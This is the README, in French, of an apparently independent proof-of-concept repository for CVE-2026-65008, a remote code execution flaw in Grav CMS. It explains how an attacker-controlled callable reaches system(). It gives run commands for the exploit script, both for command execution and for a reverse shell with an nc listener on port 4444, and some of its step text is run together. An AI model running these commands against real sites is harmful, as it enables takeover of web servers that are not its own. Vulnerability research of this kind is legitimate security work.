
CVE-2026-65008
Preuve de concept pour CVE-2026-65008 : exécution de code à distance authentifiée dans Grav CMS via un call_user_func_array() non restreint dans Blueprint::dynamicData().
Un utilisateur disposant de admin.pages (ou api.pages.write) peut insérer un frontmatter de formulaire malveillant. La charge utile s'exécute ensuite en tant qu'utilisateur du serveur web lorsque n'importe quel visiteur (y compris non authentifié) charge la page.
Tests autorisés uniquement. À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester.
| Rôle | |
|---|---|
| Signaleurs de la vulnérabilité | YuvalMil, MatiHub25, LeonKaya |
| Avis de l'éditeur | GHSA-fj2p-qj2f-74v5 |
| Ce dépôt | PoC de laboratoire indépendant / automatisation |
CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008
Blueprint::dynamicData() transmet un callable Class::method contrôlé par l'attaquant ainsi que des arguments à PHP call_user_func_array() sans liste blanche. Combiné à Grav\Common\Utils::arrayFilterRecursive en tant que trampoline, cela atteint system() / passthru / etc.
Corrigé dans Grav 2.0.7+.
9.8 CRITIQUE — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
requestsInstallation :
pip install -r requirements.txt
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
Démarrez d'abord le listener :
nc -lvnp 4444
Ensuite :
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
/admin (extraire login-nonce)admin_nonce depuis le panneau d'administrationdata-opts@:www-dataCe projet est réservé à la recherche en sécurité éducative et autorisée. L'auteur n'est pas responsable d'une mauvaise utilisation. Obtenez toujours une autorisation écrite avant de tester des systèmes tiers. La vulnérabilité d'origine a été divulguée par l'avis de l'éditeur ; ce dépôt ne fait que démontrer une reproduction en laboratoire.
Pour usage en recherche. Aucune garantie.
| Option | Description |
|---|
-u, --url | URL de base de la cible (requis) |
-U, --username | Administrateur / utilisateur avec droit d'édition de pages (défaut : admin) |
-P, --password | Mot de passe (requis) |
-c, --command | Commande à exécuter (défaut : id) |
--lhost | LHOST du shell inversé |
--lport | LPORT du shell inversé (défaut : 4444) |
--folder | Nom du dossier de la page (défaut : rcepoc) |
--no-verify | Désactiver la vérification TLS |